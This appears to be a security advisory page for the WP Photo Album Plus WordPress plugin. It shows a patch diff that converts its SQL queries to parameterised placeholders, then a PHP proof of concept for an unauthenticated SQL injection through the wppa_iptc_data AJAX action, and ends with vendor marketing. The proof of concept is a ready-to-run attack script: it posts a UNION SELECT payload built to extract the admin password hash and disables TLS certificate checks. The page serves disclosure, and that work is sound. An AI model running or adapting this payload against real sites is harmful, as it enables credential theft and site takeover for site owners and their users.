 			if ( is_user_logged_in() ) {
-				$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album IN (%s) AND ( ( status <> `pending` AND status <> `scheduled` ) OR owner = `%s` ) ORDER BY RAND(%d) LIMIT %d", $allalb, $user, $rand, $count );
-				$query = wppa_fix_query( $query );
+				$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album IN ($placeholders) AND ( status NOT IN ('pending', 'scheduled') OR owner = %s ) ORDER BY RAND(%d) LIMIT %d", array_merge( $albarr, [$user], [$rand], [$count] ) ), ARRAY_A );
 			}
 			else {
-				$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album IN (%s) AND status <> `pending` AND status <> `scheduled` AND status <> `private` ORDER BY RAND(%d) LIMIT %d", $allalb, $rand, $count );
-				$query = wppa_fix_query( $query );
+				$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album IN ($placeholders) AND status NOT IN ('pending', 'scheduled', 'private') ORDER BY RAND(%d) LIMIT %d", array_merge( $albarr, [$rand], [$count] ) ), ARRAY_A );
 			}
 		}
-		$temp = wppa_get_results( $query );
 	}

 	// Most recent from children
 	if ( '-4' == $id ) {
 		if ( current_user_can( 'wppa_moderate' ) ) {
-			$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album IN (%s) ORDER BY timestamp DESC LIMIT %d", $allalb, $count );
-			$query = wppa_fix_query( $query );
+			$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album IN ($placeholders) ORDER BY timestamp DESC LIMIT %d", array_merge( $albarr, [$count] ) ), ARRAY_A );
 		}
 		else {
 			if ( is_user_logged_in() ) {
-				$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album IN (%s) AND ( ( status <> `pending` AND status <> `scheduled` ) OR owner = `%s` ) ORDER BY timestamp DESC LIMIT %d", $allalb, $user, $count );
-				$query = wppa_fix_query( $query );
+				$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album IN ($placeholders) AND ( status NOT IN ('pending', 'scheduled') OR owner = %s ) ORDER BY timestamp DESC LIMIT %d", array_merge( $albarr, [$user], [$count] ) ), ARRAY_A );
 			}
 			else {
-				$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album IN (%s) AND status <> `pending` AND status <> `scheduled` AND status <> `private` ORDER BY timestamp DESC LIMIT %d", $allalb, $count );
-				$query = wppa_fix_query( $query );
+				$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album IN ($placeholders) AND status NOT IN ('pending', 'scheduled', 'private') ORDER BY timestamp DESC LIMIT %d", array_merge( $albarr, [$count] ) ), ARRAY_A );
 			}
 		}
-		$temp = wppa_get_results( $query );
 	}

 	// Imagefactory multiple like album photo order
 	if ( '-5' == $id ) {
-		$porder = wppa_get_poc( $alb );
+		$porder = wppa_get_poc_a( $alb );
 		if ( current_user_can( 'wppa_moderate' ) ) {
-			$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d ORDER BY %s LIMIT %d", $alb, $porder, $count );
-			$query = wppa_fix_query( $query );
+			if ( $porder['desc'] ) {
+				$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d ORDER BY %i DESC LIMIT %d", $alb, $porder['order'], $count ), ARRAY_A );
+			}
+			else {
+				$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d ORDER BY %i LIMIT %d", $alb, $porder['order'], $count ), ARRAY_A );
+			}
 		}
 		else {
 			if ( is_user_logged_in() ) {
-				$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND ( ( status <> `pending` AND status <> `scheduled` ) OR owner = `%s` ) ORDER BY %s LIMIT %d", $alb, $user, $porder, $count );
-				$query = wppa_fix_query( $query );
+				if ( $porder['desc'] ) {
+					$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND ( status NOT IN ('pending', 'scheduled') OR owner = %s ) ORDER BY %i DESC LIMIT %d", $alb, $user, $porder['order'], $count ), ARRAY_A );
+				}
+				else {
+					$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND ( status NOT IN ('pending', 'scheduled') OR owner = %s ) ORDER BY %i LIMIT %d", $alb, $user, $porder['order'], $count ), ARRAY_A );
+				}
 			}
 			else {
-				$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND status <> `pending` AND status <> `scheduled` AND status <> `private` ORDER BY %s LIMIT %d", $alb, $porder, $count );
-				$query = wppa_fix_query( $query );
+				if ( $porder['desc'] ) {
+					$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND status NOT IN ('pending', 'scheduled', 'private' ) ORDER BY %i DESC LIMIT %d", $alb, $porder['order'], $count ), ARRAY_A );
+				}
+				else {
+					$temp = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE album = %d AND status NOT IN ('pending', 'scheduled', 'private' ) ORDER BY %i LIMIT %d", $alb, $porder['order'], $count ), ARRAY_A );
+				}
 			}
 		}
-		$temp = wppa_get_results( $query );
 	}

 	// Add to 2nd level cache
@@ -1706,19 +1708,17 @@

 	// If random...
 	if ( $albumorder_col == 'random' ) {
-
-		$query  = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d ORDER BY RAND(%d)", $id, wppa_get_randseed() );
-
-		$subs = wppa_get_results( $query );
+		$subs = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d ORDER BY RAND(%d)", $id, wppa_get_randseed() ), ARRAY_A );
 	}

 	// Not random, Decending?
 	else {
-
-		if ( wppa_is_album_order_desc( $id ) ) $dir = 'DESC'; else $dir = '';
-		$query = $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d ORDER BY %s %s", $id, $albumorder_col, $dir );
-		$query = wppa_fix_query( $query );
-		$subs = wppa_get_results( $query );
+		if ( wppa_is_album_order_desc( $id ) ) {
+			$subs = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d ORDER BY %i DESC", $id, $albumorder_col ), ARRAY_A );
+		}
+		else {
+			$subs = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_albums WHERE a_parent = %d 

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-54829 - WP Photo Album Plus <= 9.1.13.005 - Unauthenticated SQL Injection

/*
 * This PoC demonstrates SQL injection via the wppa_iptc_data AJAX action.
 * The 'tag' parameter is passed unsanitized into a SQL query.
 */

$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress URL

$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';

// Payload: inject UNION SELECT to extract admin user credentials
$payload = "' OR '1'='1' UNION SELECT user_pass FROM wp_users WHERE user_login='admin'-- -";

$post_data = array(
    'action' => 'wppa_iptc_data',
    'tag'    => $payload
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$response = curl_exec($ch);

if (curl_errno($ch)) {
    echo "[!] cURL error: " . curl_error($ch) . PHP_EOL;
} else {
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    echo "[*] HTTP Status Code: $http_code" . PHP_EOL;
    echo "[*] Response body (first 500 chars):" . PHP_EOL;
    echo substr($response, 0, 500) . PHP_EOL;
}

curl_close($ch);

// Expected: if vulnerable, the response will contain hashed passwords for admin.
// If patched, no output or normal behavior (no SQL injection).

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School